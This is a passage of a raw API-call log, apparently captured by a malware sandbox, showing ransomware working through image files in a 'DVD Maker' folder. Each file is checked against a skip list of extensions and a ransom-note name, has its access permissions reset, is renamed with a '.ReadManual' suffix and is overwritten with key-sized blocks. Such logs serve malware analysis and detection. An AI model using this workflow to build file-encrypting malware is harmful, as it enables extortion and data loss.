[0252.486] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.486] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.486] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.486] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.486] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.486] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.486] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.486] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.486] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.486] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.486] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.486] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" [0252.486] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725" [0252.486] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned 111 [0252.486] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37315507656) returned 1 [0252.486] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png")) returned 0x20 [0252.487] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.487] GetLastError () returned 0x5 [0252.487] GetNamedSecurityInfoW () returned 0x0 [0252.487] SetNamedSecurityInfoW () returned 0x0 [0252.488] SetNamedSecurityInfoW () returned 0x0 [0252.489] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.489] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3130) returned 1 [0252.489] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3a, lpName=0x0) returned 0x1a0 [0252.489] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xee) returned 1 [0252.490] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.490] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.492] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.492] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc3a) returned 0x2f0000 [0252.492] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.492] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37316113269) returned 1 [0252.492] CloseHandle (hObject=0x1a0) returned 1 [0252.492] SetSecurityInfo () returned 0x5 [0252.493] SetSecurityInfo () returned 0x5 [0252.493] LocalFree (hMem=0x674d38) returned 0x0 [0252.493] CloseHandle (hObject=0x184) returned 1 [0252.493] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.493] lstrcpyW (in: lpString1=0x6ab906, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0252.493] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.493] StrStrIW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.493] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.493] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.493] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.493] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.493] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.493] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.493] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.493] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.493] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.493] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.493] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.493] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.493] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.493] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.493] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" [0252.493] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725" [0252.493] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned 106 [0252.493] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37316219613) returned 1 [0252.493] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png")) returned 0x20 [0252.494] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.494] GetLastError () returned 0x5 [0252.494] GetNamedSecurityInfoW () returned 0x0 [0252.495] SetNamedSecurityInfoW () returned 0x0 [0252.495] SetNamedSecurityInfoW () returned 0x0 [0252.496] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.496] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5025) returned 1 [0252.496] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a1, lpName=0x0) returned 0x1a0 [0252.497] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe4) returned 1 [0252.497] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.497] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.499] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.499] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a1) returned 0x2f0000 [0252.499] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.499] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37316800282) returned 1 [0252.499] CloseHandle (hObject=0x1a0) returned 1 [0252.499] SetSecurityInfo () returned 0x5 [0252.499] SetSecurityInfo () returned 0x5 [0252.499] LocalFree (hMem=0x674d38) returned 0x0 [0252.499] CloseHandle (hObject=0x184) returned 1 [0252.500] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.500] lstrcpyW (in: lpString1=0x6ab906, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0252.500] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.500] StrStrIW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.500] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.500] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.500] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.500] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.500] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.500] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.500] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.500] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.500] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.500] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.500] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.500] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.500] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.500] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.500] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" [0252.500] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725" [0252.500] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned 112 [0252.500] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37316896615) returned 1 [0252.500] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png")) returned 0x20 [0252.501] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.501] GetLastError () returned 0x5 [0252.501] GetNamedSecurityInfoW () returned 0x0 [0252.501] SetNamedSecurityInfoW () returned 0x0 [0252.502] SetNamedSecurityInfoW () returned 0x0 [0252.503] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.503] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3118) returned 1 [0252.503] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2e, lpName=0x0) returned 0x1a0 [0252.503] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf0) returned 1 [0252.504] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.504] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.506] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.506] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2e) returned 0x2f0000 [0252.506] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.506] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37317477476) returned 1 [0252.506] CloseHandle (hObject=0x1a0) returned 1 [0252.506] SetSecurityInfo () returned 0x5 [0252.506] SetSecurityInfo () returned 0x5 [0252.506] LocalFree (hMem=0x674d38) returned 0x0 [0252.506] CloseHandle (hObject=0x184) returned 1 [0252.507] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.508] lstrcpyW (in: lpString1=0x6ab906, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0252.508] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.508] StrStrIW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.508] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.508] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.508] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.508] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.508] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.508] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.508] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.508] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.508] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.508] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.508] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.508] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.508] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.508] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.508] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" [0252.508] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725" [0252.508] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned 103 [0252.508] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37317688444) returned 1 [0252.508] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png")) returned 0x20 [0252.509] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.509] GetLastError () returned 0x5 [0252.509] GetNamedSecurityInfoW () returned 0x0 [0252.509] SetNamedSecurityInfoW () returned 0x0 [0252.510] SetNamedSecurityInfoW () returned 0x0 [0252.511] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.511] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4955) returned 1 [0252.511] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135b, lpName=0x0) returned 0x1a0 [0252.511] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xde) returned 1 [0252.512] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.512] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.513] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.514] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135b) returned 0x2f0000 [0252.514] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.514] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37318262711) returned 1 [0252.514] CloseHandle (hObject=0x1a0) returned 1 [0252.514] SetSecurityInfo () returned 0x5 [0252.514] SetSecurityInfo () returned 0x5 [0252.514] LocalFree (hMem=0x674d38) returned 0x0 [0252.514] CloseHandle (hObject=0x184) returned 1 [0252.514] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.514] lstrcpyW (in: lpString1=0x6ab906, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0252.514] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.514] StrStrIW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.514] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.514] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.514] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.514] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.514] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.514] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.514] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.515] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.515] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.515] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.515] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.515] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.515] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.515] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.515] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" [0252.515] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725" [0252.515] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned 109 [0252.515] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37318357644) returned 1 [0252.515] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png")) returned 0x20 [0252.516] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.516] GetLastError () returned 0x5 [0252.516] GetNamedSecurityInfoW () returned 0x0 [0252.516] SetNamedSecurityInfoW () returned 0x0 [0252.517] SetNamedSecurityInfoW () returned 0x0 [0252.518] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.518] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3081) returned 1 [0252.518] CreateFileMappingW 